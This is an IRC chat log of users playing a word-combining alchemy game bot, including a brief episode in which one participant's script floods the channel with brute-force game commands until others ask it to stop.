[2014-12-31T20:38:17-0500] <alokpathy> @combine man plant
[2014-12-31T20:38:17-0500] <alchemy> man and plant don't make anything exciting.
[2014-12-31T20:38:18-0500] <Tamini_> @combine man sculpture
[2014-12-31T20:38:18-0500] <alchemy> man and sculpture don't make anything exciting.
[2014-12-31T20:38:21-0500] <+JacobEdelman> @combine man villain
[2014-12-31T20:38:21-0500] <alchemy> man and villain don't make anything exciting.
[2014-12-31T20:38:27-0500] <+JacobEdelman> @combine man tsunami
[2014-12-31T20:38:27-0500] <alchemy> man and tsunami don't make anything exciting.
[2014-12-31T20:38:31-0500] <+JacobEdelman> @combine man tree
[2014-12-31T20:38:31-0500] <alchemy> You just discovered wood (man + tree)!
[2014-12-31T20:38:33-0500] <alokpathy> @combine man stone
[2014-12-31T20:38:33-0500] <alchemy> You already combined man and stone to get neanderthal.
[2014-12-31T20:38:34-0500] <Tamini_> man+sculpture -> pygmalion?
[2014-12-31T20:38:35-0500] <+JacobEdelman> @combine man torvalds
[2014-12-31T20:38:36-0500] <alchemy> man and torvalds don't make anything exciting.
[2014-12-31T20:38:38-0500] <+JacobEdelman> we just got wood
[2014-12-31T20:38:39-0500] <+JacobEdelman> really
[2014-12-31T20:38:41-0500] <+JacobEdelman> just now
[2014-12-31T20:38:41-0500] <Tamini_> @combine wood tool
[2014-12-31T20:38:41-0500] <alokpathy> @combine man sculpture
[2014-12-31T20:38:42-0500] <+JacobEdelman> fail
[2014-12-31T20:38:43-0500] <alchemy> You just discovered house (wood + tool)!
[2014-12-31T20:38:43-0500] <alchemy> man and sculpture don't make anything exciting.
[2014-12-31T20:38:48-0500] <alokpathy> @list
[2014-12-31T20:38:48-0500] <alchemy> You have: aaron, air, alok, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google
[2014-12-31T20:38:49-0500] <alchemy> You have: hacker, hal, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber, linux, love, loveletter, man, metal, mountain, neanderthal
[2014-12-31T20:38:49-0500] <alchemy> You have: nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool, puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman
[2014-12-31T20:38:49-0500] <alchemy> You have: soil, starship, steam, stone, sword, thunder, tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind, wood
[2014-12-31T20:38:49-0500] <alchemy> That's 77 out of 127!
[2014-12-31T20:38:49-0500] <Tamini_> @combine house house
[2014-12-31T20:38:49-0500] <alchemy> house and house don't make anything exciting.
[2014-12-31T20:38:50-0500] <+JacobEdelman> @combine man house
[2014-12-31T20:38:50-0500] <alchemy> man and house don't make anything exciting.
[2014-12-31T20:38:53-0500] <alokpathy> We still don't have genius how
[2014-12-31T20:38:57-0500] <Tamini_> @combine house man
[2014-12-31T20:38:58-0500] <alchemy> house and man don't make anything exciting.
[2014-12-31T20:38:59-0500] <+JacobEdelman> @combine man tornado
[2014-12-31T20:39:00-0500] <alchemy> man and tornado don't make anything exciting.
[2014-12-31T20:39:06-0500] <Tamini_> @combine man rain
[2014-12-31T20:39:07-0500] <alchemy> man and rain don't make anything exciting.
[2014-12-31T20:39:08-0500] <Tamini_> rainman!
[2014-12-31T20:39:10-0500] <Tamini_> :<
[2014-12-31T20:39:12-0500] <+JacobEdelman> @combine man tool
[2014-12-31T20:39:13-0500] <alchemy> man and tool don't make anything exciting.
[2014-12-31T20:39:14-0500] <alokpathy> @combine man light
[2014-12-31T20:39:15-0500] <alchemy> man and light don't make anything exciting.
[2014-12-31T20:39:16-0500] <+JacobEdelman> @combine man thunder
[2014-12-31T20:39:17-0500] <alchemy> man and thunder don't make anything exciting.
[2014-12-31T20:39:18-0500] <alokpathy> @list
[2014-12-31T20:39:19-0500] <alchemy> You have: aaron, air, alok, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google
[2014-12-31T20:39:19-0500] <alchemy> You have: hacker, hal, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber, linux, love, loveletter, man, metal, mountain, neanderthal
[2014-12-31T20:39:19-0500] <alchemy> You have: nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool, puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman
[2014-12-31T20:39:19-0500] <alchemy> You have: soil, starship, steam, stone, sword, thunder, tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind, wood
[2014-12-31T20:39:19-0500] <alchemy> That's 77 out of 127!
[2014-12-31T20:39:21-0500] <+JacobEdelman> @combine man sword
[2014-12-31T20:39:22-0500] <alchemy> You already combined man and sword to get knight.
[2014-12-31T20:39:25-0500] <alokpathy> @combine man computer
[2014-12-31T20:39:26-0500] <alchemy> man and computer don't make anything exciting.
[2014-12-31T20:39:29-0500] <+JacobEdelman> @combine man stone
[2014-12-31T20:39:30-0500] <alchemy> You already combined man and stone to get neanderthal.
[2014-12-31T20:39:32-0500] <+JacobEdelman> @combine man steam
[2014-12-31T20:39:33-0500] <alchemy> man and steam don't make anything exciting.
[2014-12-31T20:39:36-0500] <alokpathy> I give up
[2014-12-31T20:39:38-0500] <alokpathy> brute-force
[2014-12-31T20:39:40-0500] <+JacobEdelman> @combine man starship
[2014-12-31T20:39:41-0500] <alchemy> man and starship don't make anything exciting.
[2014-12-31T20:39:45-0500] <alokpathy> @combine man aaron
[2014-12-31T20:39:45-0500] <+JacobEdelman> @combine man soil
[2014-12-31T20:39:46-0500] <alchemy> man and aaron don't make anything exciting.
[2014-12-31T20:39:47-0500] <alchemy> man and soil don't make anything exciting.
[2014-12-31T20:39:47-0500] <alokpathy> @combine man air
[2014-12-31T20:39:48-0500] <alchemy> man and air don't make anything exciting.
[2014-12-31T20:39:49-0500] <alokpathy> @combine man alok
[2014-12-31T20:39:50-0500] <alchemy> man and alok don't make anything exciting.
[2014-12-31T20:39:50-0500] <alokpathy> @list
[2014-12-31T20:39:51-0500] <alchemy> You have: aaron, air, alok, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google
[2014-12-31T20:39:51-0500] <alchemy> You have: hacker, hal, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber, linux, love, loveletter, man, metal, mountain, neanderthal
[2014-12-31T20:39:51-0500] <alchemy> You have: nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool, puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman
[2014-12-31T20:39:51-0500] <alchemy> You have: soil, starship, steam, stone, sword, thunder, tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind, wood
[2014-12-31T20:39:51-0500] <alchemy> That's 77 out of 127!
[2014-12-31T20:39:56-0500] <alokpathy> @combine man blackhat
[2014-12-31T20:39:57-0500] <alchemy> man and blackhat don't make anything exciting.
[2014-12-31T20:39:59-0500] <alokpathy> @combine man boat
[2014-12-31T20:40:00-0500] <alchemy> man and boat don't make anything exciting.
[2014-12-31T20:40:04-0500] <alokpathy> @combine man chivalry
[2014-12-31T20:40:05-0500] <alchemy> man and chivalry don't make anything exciting.
[2014-12-31T20:40:10-0500] <alokpathy> @combine man cloud
[2014-12-31T20:40:11-0500] <alchemy> man and cloud don't make anything exciting.
[2014-12-31T20:40:13-0500] <alokpathy> @combine man computer
[2014-12-31T20:40:14-0500] <alchemy> man and computer don't make anything exciting.
[2014-12-31T20:40:15-0500] <alokpathy> @combine man crops
[2014-12-31T20:40:16-0500] <alchemy> man and crops don't make anything exciting.
[2014-12-31T20:40:18-0500] <alokpathy> @combine man earth
[2014-12-31T20:40:20-0500] <alchemy> man and earth don't make anything exciting.
[2014-12-31T20:40:24-0500] <alokpathy> @combine man electricity
[2014-12-31T20:40:25-0500] <alchemy> man and electricity don't make anything exciting.
[2014-12-31T20:40:36-0500] <alokpathy> @combine man energy
[2014-12-31T20:40:37-0500] <alchemy> man and energy don't make anything exciting.
[2014-12-31T20:40:45-0500] <Tamini_> @combine man water
[2014-12-31T20:40:46-0500] <alchemy> man and water don't make anything exciting.
[2014-12-31T20:40:50-0500] <alokpathy> @list
[2014-12-31T20:40:51-0500] <alchemy> You have: aaron, air, alok, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google
[2014-12-31T20:40:51-0500] <alchemy> You have: hacker, hal, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber, linux, love, loveletter, man, metal, mountain, neanderthal
[2014-12-31T20:40:51-0500] <alchemy> You have: nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool, puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman
[2014-12-31T20:40:51-0500] <alchemy> You have: soil, starship, steam, stone, sword, thunder, tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind, wood
[2014-12-31T20:40:51-0500] <alchemy> That's 77 out of 127!
[2014-12-31T20:40:54-0500] <Tamini_> aquaman!
[2014-12-31T20:41:03-0500] <+JacobEdelman> can I cheats?
[2014-12-31T20:41:10-0500] <+JacobEdelman> since your pretty much doing already
[2014-12-31T20:41:16-0500] <Tamini_> @combine man computer
[2014-12-31T20:41:17-0500] <alchemy> man and computer don't make anything exciting.
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[2014-12-31T20:41:26-0500] <chester-bot> @combine man wood
[2014-12-31T20:41:26-0500] <chester-bot> @combine man wind
[2014-12-31T20:41:26-0500] <chester-bot> @combine man whitespace
[2014-12-31T20:41:26-0500] <chester-bot> @combine man whitehat
[2014-12-31T20:41:26-0500] <chester-bot> @combine man water
[2014-12-31T20:41:26-0500] <chester-bot> @combine man villain
[2014-12-31T20:41:26-0500] <chester-bot> @combine man tsunami
[2014-12-31T20:41:26-0500] <chester-bot> @combine man tree
[2014-12-31T20:41:27-0500] <chester-bot> @combine man torvalds
[2014-12-31T20:41:27-0500] <chester-bot> @combine man tornado
[2014-12-31T20:41:28-0500] <alchemy> man and wood don't make anything exciting.
[2014-12-31T20:41:28-0500] <chester-bot> @combine man tool
[2014-12-31T20:41:29-0500] <alchemy> man and wind don't make anything exciting.
[2014-12-31T20:41:30-0500] <chester-bot> @combine man thunder
[2014-12-31T20:41:30-0500] <alchemy> man and whitespace don't make anything exciting.
[2014-12-31T20:41:31-0500] <chester-bot> @combine man sword
[2014-12-31T20:41:31-0500] <alchemy> man and whitehat don't make anything exciting.
[2014-12-31T20:41:32-0500] <chester-bot> @combine man stone
[2014-12-31T20:41:32-0500] <alchemy> man and water don't make anything exciting.
[2014-12-31T20:41:33-0500] <chester-bot> @combine man steam
[2014-12-31T20:41:33-0500] <alchemy> man and villain don't make anything exciting.
[2014-12-31T20:41:34-0500] <chester-bot> @combine man starship
[2014-12-31T20:41:34-0500] <alchemy> man and tsunami don't make anything exciting.
[2014-12-31T20:41:35-0500] <chester-bot> @combine man soil
[2014-12-31T20:41:35-0500] <alchemy> You already combined man and tree to get wood.
[2014-12-31T20:41:36-0500] <chester-bot> @combine man snowman
[2014-12-31T20:41:36-0500] <alchemy> man and torvalds don't make anything exciting.
[2014-12-31T20:41:37-0500] <chester-bot> @combine man snow
[2014-12-31T20:41:37-0500] <alchemy> man and tornado don't make anything exciting.
[2014-12-31T20:41:38-0500] <chester-bot> @combine man ship
[2014-12-31T20:41:38-0500] <alchemy> man and tool don't make anything exciting.
[2014-12-31T20:41:38-0500] <chester-bot> @combine man sentience
[2014-12-31T20:41:39-0500] <Tamini_> @combine man hacker
[2014-12-31T20:41:39-0500] <alchemy> man and thunder don't make anything exciting.
[2014-12-31T20:41:40-0500] <chester-bot> @combine man sculpture
[2014-12-31T20:41:40-0500] <alchemy> You already combined man and sword to get knight.
[2014-12-31T20:41:41-0500] <chester-bot> @combine man sandstorm
[2014-12-31T20:41:41-0500] <alchemy> You already combined man and stone to get neanderthal.
[2014-12-31T20:41:42-0500] <chester-bot> @combine man rust
[2014-12-31T20:41:42-0500] <alchemy> man and steam don't make anything exciting.
[2014-12-31T20:41:43-0500] <chester-bot> @combine man robot
[2014-12-31T20:41:43-0500] <alchemy> man and starship don't make anything exciting.
[2014-12-31T20:41:44-0500] <chester-bot> @combine man rainbow
[2014-12-31T20:41:44-0500] <alchemy> man and soil don't make anything exciting.
[2014-12-31T20:41:45-0500] <chester-bot> @combine man rain
[2014-12-31T20:41:45-0500] <alchemy> man and snowman don't make anything exciting.
[2014-12-31T20:41:46-0500] <chester-bot> @combine man python
[2014-12-31T20:41:46-0500] <alchemy> You already combined man and snow to get snowman.
[2014-12-31T20:41:47-0500] <chester-bot> @combine man puddle
[2014-12-31T20:41:47-0500] <alchemy> man and ship don't make anything exciting.
[2014-12-31T20:41:47-0500] <+hardmath123> god
[2014-12-31T20:41:48-0500] <chester-bot> @combine man pool
[2014-12-31T20:41:48-0500] <alchemy> You already combined man and sentience to get evil.
[2014-12-31T20:41:49-0500] <chester-bot> @combine man plant
[2014-12-31T20:41:49-0500] <alchemy> man and hacker don't make anything exciting.
[2014-12-31T20:41:49-0500] <+hardmath123> shush
[2014-12-31T20:41:50-0500] <chester-bot> @combine man penguin
[2014-12-31T20:41:50-0500] <alchemy> man and sculpture don't make anything exciting.
[2014-12-31T20:41:50-0500] <+hardmath123> stop
[2014-12-31T20:41:51-0500] <chester-bot> @combine man pdgn
[2014-12-31T20:41:51-0500] <alchemy> man and sandstorm don't make anything exciting.
[2014-12-31T20:41:52-0500] <chester-bot> @combine man paper
[2014-12-31T20:41:52-0500] <alchemy> You already combined man and rust to get aaron.
[2014-12-31T20:41:53-0500] <chester-bot> @combine man olaf
[2014-12-31T20:41:53-0500] <alchemy> man and robot don't make anything exciting.
[2014-12-31T20:41:53-0500] <+hardmath123> no
[2014-12-31T20:41:54-0500] <chester-bot> @combine man ocean
[2014-12-31T20:41:54-0500] <Tamini_> stop
[2014-12-31T20:41:54-0500] <alchemy> man and rainbow don't make anything exciting.
[2014-12-31T20:41:55-0500] <+hardmath123> ouch
[2014-12-31T20:41:55-0500] <chester-bot> @combine man nexorg
[2014-12-31T20:41:55-0500] <alchemy> man and rain don't make anything exciting.
[2014-12-31T20:41:56-0500] <chester-bot> @combine man neanderthal
[2014-12-31T20:41:56-0500] <alchemy> man and python don't make anything exciting.
[2014-12-31T20:41:57-0500] <chester-bot> @combine man mountain
[2014-12-31T20:41:57-0500] <alchemy> man and puddle don't make anything exciting.
[2014-12-31T20:41:57-0500] <+JacobEdelman> stoped
[2014-12-31T20:41:57-0500] <chester-bot> @combine man metal
[2014-12-31T20:41:59-0500] <chester-bot> @combine man man
[2014-12-31T20:41:59-0500] <alchemy> You already combined man and pool to get backstroke.
[2014-12-31T20:42:00-0500] <chester-bot> @combine man loveletter
[2014-12-31T20:42:00-0500] <alchemy> man and plant don't make anything exciting.
[2014-12-31T20:42:00-0500] <+JacobEdelman> gie it a bit
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[2014-12-31T20:42:01-0500] <chester-bot> @combine man love
[2014-12-31T20:42:02-0500] <chester-bot> @combine man linux
[2014-12-31T20:42:03-0500] <chester-bot> @combine man lightsaber
[2014-12-31T20:42:04-0500] <chester-bot> @combine man lightning
[2014-12-31T20:42:04-0500] <+JacobEdelman> wait what
[2014-12-31T20:42:05-0500] <chester-bot> @combine man light
[2014-12-31T20:42:06-0500] <chester-bot> @combine man lava
[2014-12-31T20:42:07-0500] <chester-bot> @combine man knight
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[2014-12-31T20:42:08-0500] <chester-bot> @combine man joy
[2014-12-31T20:42:08-0500] <+JacobEdelman> why'd it die?
[2014-12-31T20:42:09-0500] <chester-bot> @combine man jacob
[2014-12-31T20:42:10-0500] <chester-bot> @combine man internet
[2014-12-31T20:42:10-0500] <alchemy> You already combined man and joy to get love.
[2014-12-31T20:42:11-0500] <chester-bot> @combine man ice
[2014-12-31T20:42:12-0500] <chester-bot> @combine man house
[2014-12-31T20:42:12-0500] <alchemy> man and jacob don't make anything exciting.
[2014-12-31T20:42:13-0500] <chester-bot> @combine man hole
[2014-12-31T20:42:13-0500] <+JacobEdelman> its dead
[2014-12-31T20:42:13-0500] <alchemy> You already combined man and internet to get hacker.
[2014-12-31T20:42:14-0500] <chester-bot> @combine man hal
[2014-12-31T20:42:14-0500] <alchemy> man and ice don't make anything exciting.
[2014-12-31T20:42:15-0500] <chester-bot> @combine man hacker
[2014-12-31T20:42:15-0500] <alchemy> man and house don't make anything exciting.
[2014-12-31T20:42:15-0500] <chester-bot> @combine man google
[2014-12-31T20:42:16-0500] <+JacobEdelman> die!
[2014-12-31T20:42:16-0500] <alchemy> man and hole don't make anything exciting.
[2014-12-31T20:42:17-0500] <chester-bot> @combine man friendship
[2014-12-31T20:42:18-0500] <chester-bot> @combine man fireman
[2014-12-31T20:42:18-0500] <alchemy> You already combined man and hal to get google.
[2014-12-31T20:42:19-0500] <chester-bot> @combine man fire
[2014-12-31T20:42:19-0500] <alchemy> man and hacker don't make anything exciting.
[2014-12-31T20:42:20-0500] <chester-bot> @combine man evil
[2014-12-31T20:42:20-0500] <alchemy> man and google don't make anything exciting.
[2014-12-31T20:42:21-0500] <chester-bot> @combine man ent
[2014-12-31T20:42:21-0500] <alokpathy> Why
[2014-12-31T20:42:21-0500] <alokpathy> no
[2014-12-31T20:42:22-0500] <alchemy> man and friendship don't make anything exciting.
[2014-12-31T20:42:23-0500] <alchemy> man and fireman don't make anything exciting.
[2014-12-31T20:42:24-0500] <alokpathy> genius
[2014-12-31T20:42:24-0500] <alchemy> You already combined man and fire to get fireman.
[2014-12-31T20:42:25-0500] <alchemy> You already combined man and evil to get villain.
[2014-12-31T20:42:25-0500] <alokpathy> @list
[2014-12-31T20:42:26-0500] <+JacobEdelman> die!
[2014-12-31T20:42:26-0500] <alchemy> man and ent don't make anything exciting.
[2014-12-31T20:42:30-0500] <alchemy> You have: aaron, air, alok, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google
[2014-12-31T20:42:30-0500] <alchemy> You have: hacker, hal, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber, linux, love, loveletter, man, metal, mountain, neanderthal
[2014-12-31T20:42:30-0500] <alchemy> You have: nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool, puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman
[2014-12-31T20:42:30-0500] <alchemy> You have: soil, starship, steam, stone, sword, thunder, tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind, wood
[2014-12-31T20:42:30-0500] <alchemy> That's 77 out of 127!
[2014-12-31T20:42:40-0500] <+JacobEdelman> its dead
[2014-12-31T20:42:46-0500] <+JacobEdelman> and still no genius
[2014-12-31T20:42:52-0500] <+JacobEdelman> I thought we had the stuff to make genius
[2014-12-31T20:42:53-0500] <alokpathy> Did it go through everything?
[2014-12-31T20:43:01-0500] <+JacobEdelman> alll up to villain
[2014-12-31T20:43:01-0500] <Tamini_> how far were you?
[2014-12-31T20:43:07-0500] <+JacobEdelman> it may have missed a few
[2014-12-31T20:43:10-0500] <+JacobEdelman> lemme check
[2014-12-31T20:43:12-0500] <Tamini_> @combine whitehat man
[2014-12-31T20:43:12-0500] <alchemy> whitehat and man don't make anything exciting.
[2014-12-31T20:43:20-0500] <Tamini_> @combine whitespace man
[2014-12-31T20:43:20-0500] <alchemy> whitespace and man don't make anything exciting.
[2014-12-31T20:43:29-0500] <Tamini_> @combine wind man
[2014-12-31T20:43:29-0500] <alchemy> wind and man don't make anything exciting.
[2014-12-31T20:43:30-0500] <+JacobEdelman> love through knight may have been skipped
[2014-12-31T20:43:38-0500] <+JacobEdelman> since alchemy quite in that time
[2014-12-31T20:43:41-0500] <Tamini_> nothing obvious makes genius
[2014-12-31T20:43:46-0500] <Tamini_> @combine man love
[2014-12-31T20:43:46-0500] <alchemy> man and love don't make anything exciting.
[2014-12-31T20:43:52-0500] <+JacobEdelman> @combine man aaron
[2014-12-31T20:43:52-0500] <alchemy> man and aaron don't make anything exciting.
[2014-12-31T20:43:53-0500] <+JacobEdelman> gtg
[2014-12-31T20:44:02-0500] <Tamini_> mk
[2014-12-31T20:44:08-0500] <Tamini_> alokpathy: ideas?
[2014-12-31T20:44:27-0500] <alokpathy> What have we
[2014-12-31T20:44:28-0500] <alokpathy> not tried?
[2014-12-31T20:44:29-0500] <alokpathy> LOL
[2014-12-31T20:44:30-0500] <alokpathy> @list
[2014-12-31T20:44:31-0500] <alchemy> You have: aaron, air, alok, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google
[2014-12-31T20:44:31-0500] <alchemy> You have: hacker, hal, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber, linux, love, loveletter, man, metal, mountain, neanderthal
[2014-12-31T20:44:31-0500] <alchemy> You have: nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool, puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman
[2014-12-31T20:44:31-0500] <alchemy> You have: soil, starship, steam, stone, sword, thunder, tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind, wood
[2014-12-31T20:44:31-0500] <alchemy> That's 77 out of 127!
[2014-12-31T20:45:05-0500] <Tamini_> @combine neanderthal man
[2014-12-31T20:45:05-0500] <alchemy> neanderthal and man don't make anything exciting.
[2014-12-31T20:45:14-0500] <Tamini_> @combine metal man
[2014-12-31T20:45:14-0500] <alchemy> You already combined metal and man to get tool.
[2014-12-31T20:45:24-0500] <Tamini_> @combine man nexorg
[2014-12-31T20:45:24-0500] <alchemy> man and nexorg don't make anything exciting.
[2014-12-31T20:45:27-0500] <Tamini_> cmon, thats genius
[2014-12-31T20:45:45-0500] <Tamini_> @combine python man
[2014-12-31T20:45:45-0500] <alchemy> python and man don't make anything exciting.
[2014-12-31T20:45:49-0500] <Tamini_> @hint
[2014-12-31T20:45:49-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T20:45:52-0500] <Tamini_> @possible math
[2014-12-31T20:45:52-0500] <alchemy> Yeah, you can make math.
[2014-12-31T20:45:53-0500] <ubuntor> @combine aaron nexorg
[2014-12-31T20:45:53-0500] <Tamini_> @hint
[2014-12-31T20:45:54-0500] <alchemy> aaron and nexorg don't make anything exciting.
[2014-12-31T20:45:55-0500] <alchemy> Not this time!
[2014-12-31T20:45:57-0500] <Tamini_> @hint
[2014-12-31T20:45:57-0500] <alchemy> Hint: It's possible to make megamind with genius!
[2014-12-31T20:46:01-0500] <Tamini_> @hint
[2014-12-31T20:46:01-0500] <alchemy> No can do, buddy.
[2014-12-31T20:46:04-0500] <Tamini_> we know alchemy
[2014-12-31T20:46:06-0500] <Tamini_> @hint
[2014-12-31T20:46:07-0500] <alchemy> Nope.
[2014-12-31T20:46:12-0500] <Tamini_> @hint
[2014-12-31T20:46:12-0500] <alchemy> Nope.
[2014-12-31T20:46:15-0500] <Tamini_> @hint
[2014-12-31T20:46:15-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T20:46:18-0500] <alokpathy> @list
[2014-12-31T20:46:18-0500] <Tamini_> @hint
[2014-12-31T20:46:18-0500] <alchemy> You have: aaron, air, alok, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google
[2014-12-31T20:46:19-0500] <alchemy> You have: hacker, hal, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber, linux, love, loveletter, man, metal, mountain, neanderthal
[2014-12-31T20:46:19-0500] <alchemy> You have: nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool, puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman
[2014-12-31T20:46:19-0500] <alchemy> You have: soil, starship, steam, stone, sword, thunder, tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind, wood
[2014-12-31T20:46:19-0500] <alchemy> That's 77 out of 127!
[2014-12-31T20:46:19-0500] <alchemy> Not this time!
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[2014-12-31T20:46:25-0500] <chester-bot> @hint
[2014-12-31T20:46:25-0500] <chester-bot> @hint
[2014-12-31T20:46:25-0500] <chester-bot> @hint
[2014-12-31T20:46:25-0500] <chester-bot> @hint
[2014-12-31T20:46:25-0500] <chester-bot> @hint
[2014-12-31T20:46:25-0500] <chester-bot> @hint
[2014-12-31T20:46:25-0500] <chester-bot> @hint
[2014-12-31T20:46:25-0500] <chester-bot> @hint
[2014-12-31T20:46:25-0500] <chester-bot> @hint
[2014-12-31T20:46:26-0500] <Tamini_> alokpathy: im sad.
[2014-12-31T20:46:26-0500] <chester-bot> @hint
[2014-12-31T20:46:26-0500] <alchemy> Not this time!
[2014-12-31T20:46:27-0500] <chester-bot> @hint
[2014-12-31T20:46:27-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T20:46:28-0500] <chester-bot> @hint
[2014-12-31T20:46:28-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T20:46:29-0500] <chester-bot> @hint
[2014-12-31T20:46:29-0500] <alchemy> No can do, buddy.
[2014-12-31T20:46:30-0500] <alokpathy> omg
[2014-12-31T20:46:30-0500] <chester-bot> @hint
[2014-12-31T20:46:30-0500] <alchemy> Not on your life.
[2014-12-31T20:46:31-0500] <chester-bot> @hint
[2014-12-31T20:46:31-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T20:46:32-0500] <Tamini_> OH MY GOD
[2014-12-31T20:46:32-0500] <chester-bot> @hint
[2014-12-31T20:46:32-0500] <+JacobEdelman> there you go
[2014-12-31T20:46:33-0500] <alchemy> Nope.
[2014-12-31T20:46:33-0500] <chester-bot> @hint
[2014-12-31T20:46:34-0500] <alchemy> Hint: It's possible to make pat with house!
[2014-12-31T20:46:34-0500] <chester-bot> @hint
[2014-12-31T20:46:34-0500] <alchemy> Not this time!
[2014-12-31T20:46:35-0500] <+hardmath123> @combine man energy
[2014-12-31T20:46:35-0500] <chester-bot> @hint
[2014-12-31T20:46:36-0500] <Tamini_> i thought jacob left
[2014-12-31T20:46:36-0500] <alokpathy> JacobEdelman: stahp
[2014-12-31T20:46:36-0500] <chester-bot> @hint
[2014-12-31T20:46:36-0500] <alchemy> Hint: It's possible to make olaf with snowman!
[2014-12-31T20:46:37-0500] <chester-bot> @hint
[2014-12-31T20:46:37-0500] <alchemy> Not on your life.
[2014-12-31T20:46:38-0500] <chester-bot> @hint
[2014-12-31T20:46:38-0500] <alchemy> Not this time!
[2014-12-31T20:46:39-0500] <alokpathy> That's not what we need
[2014-12-31T20:46:39-0500] <chester-bot> @hint
[2014-12-31T20:46:39-0500] <alchemy> No can do, buddy.
[2014-12-31T20:46:40-0500] <chester-bot> @hint
[2014-12-31T20:46:41-0500] <+hardmath123> @combine man energy
[2014-12-31T20:46:41-0500] <+JacobEdelman> I stopped it
[2014-12-31T20:46:41-0500] <chester-bot> @hint
[2014-12-31T20:46:41-0500] <alchemy> Not on your life.
[2014-12-31T20:46:42-0500] <chester-bot> @hint
[2014-12-31T20:46:42-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T20:46:43-0500] <+JacobEdelman> uhg
[2014-12-31T20:46:43-0500] <Tamini_> jackb stop
[2014-12-31T20:46:43-0500] <chester-bot> @hint
[2014-12-31T20:46:44-0500] <chester-bot> @hint
[2014-12-31T20:46:44-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T20:46:45-0500] <+JacobEdelman> why it so slow
[2014-12-31T20:46:45-0500] <chester-bot> @hint
[2014-12-31T20:46:46-0500] <ubuntor> why
[2014-12-31T20:46:46-0500] <chester-bot> @hint
[2014-12-31T20:46:46-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T20:46:47-0500] <+hardmath123> @combine man energy
[2014-12-31T20:46:47-0500] <chester-bot> @hint
[2014-12-31T20:46:47-0500] <alchemy> No can do, buddy.
[2014-12-31T20:46:48-0500] <chester-bot> @hint
[2014-12-31T20:46:48-0500] <alchemy> man and energy don't make anything exciting.
[2014-12-31T20:46:49-0500] <+JacobEdelman> why???
[2014-12-31T20:46:49-0500] <chester-bot> @hint
[2014-12-31T20:46:49-0500] <alchemy> Not this time!
[2014-12-31T20:46:50-0500] <chester-bot> @hint
[2014-12-31T20:46:51-0500] <+JacobEdelman> WHY!!!
[2014-12-31T20:46:51-0500] <chester-bot> @hint
[2014-12-31T20:46:52-0500] <chester-bot> @hint
[2014-12-31T20:46:52-0500] <alchemy> Not on your life.
[2014-12-31T20:46:53-0500] <chester-bot> @hint
[2014-12-31T20:46:53-0500] <alchemy> Hint: It's possible to make wood with tree!
[2014-12-31T20:46:54-0500] <chester-bot> @hint
[2014-12-31T20:46:54-0500] <alchemy> Hint: It's possible to make engine with metal!
[2014-12-31T20:46:55-0500] <chester-bot> @hint
[2014-12-31T20:46:56-0500] <chester-bot> @hint
[2014-12-31T20:46:56-0500] <alchemy> Not this time!
[2014-12-31T20:46:57-0500] <chester-bot> @hint
[2014-12-31T20:46:57-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T20:46:58-0500] <+JacobEdelman> WHAT HAVE I DONE!!!!
[2014-12-31T20:46:58-0500] <chester-bot> @hint
[2014-12-31T20:46:58-0500] <alchemy> man and energy don't make anything exciting.
[2014-12-31T20:46:59-0500] <chester-bot> @hint
[2014-12-31T20:47:00-0500] <chester-bot> @hint
[2014-12-31T20:47:00-0500] <alchemy> Not this time!
[2014-12-31T20:47:02-0500] <alchemy> Hint: It's possible to make ship with boat!
[2014-12-31T20:47:04-0500] <alokpathy> JacobEdelman: STAHP IT
[2014-12-31T20:47:05-0500] <alchemy> Not this time!
